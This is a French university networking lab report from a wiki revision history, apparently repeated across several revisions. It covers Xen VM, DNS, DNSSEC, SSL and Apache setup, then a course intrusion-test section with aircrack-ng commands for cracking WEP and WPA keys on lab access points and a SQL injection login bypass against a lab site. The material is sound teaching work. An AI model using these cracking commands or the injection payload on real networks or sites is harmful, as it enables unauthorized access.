0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour se faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus corona59.club-ksk.{key/private} et corona59.club-zsk.{key/private} <br />
on ajoute dans /etc/bind/named.conf :<br />
include "/etc/bind/corona59.club/corona59.club-ksk.key" ;<br />
include "/etc/bind/corona59.club/corona59.club-zsk.key" ;<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57095TP sysres IMA5 2021/2022 G112021-12-13T18:42:32Z<p>Cgodet1 : /* Injection SQL */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57085TP sysres IMA5 2021/2022 G112021-12-13T18:09:04Z<p>Cgodet1 : /* Test d'intrusion */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
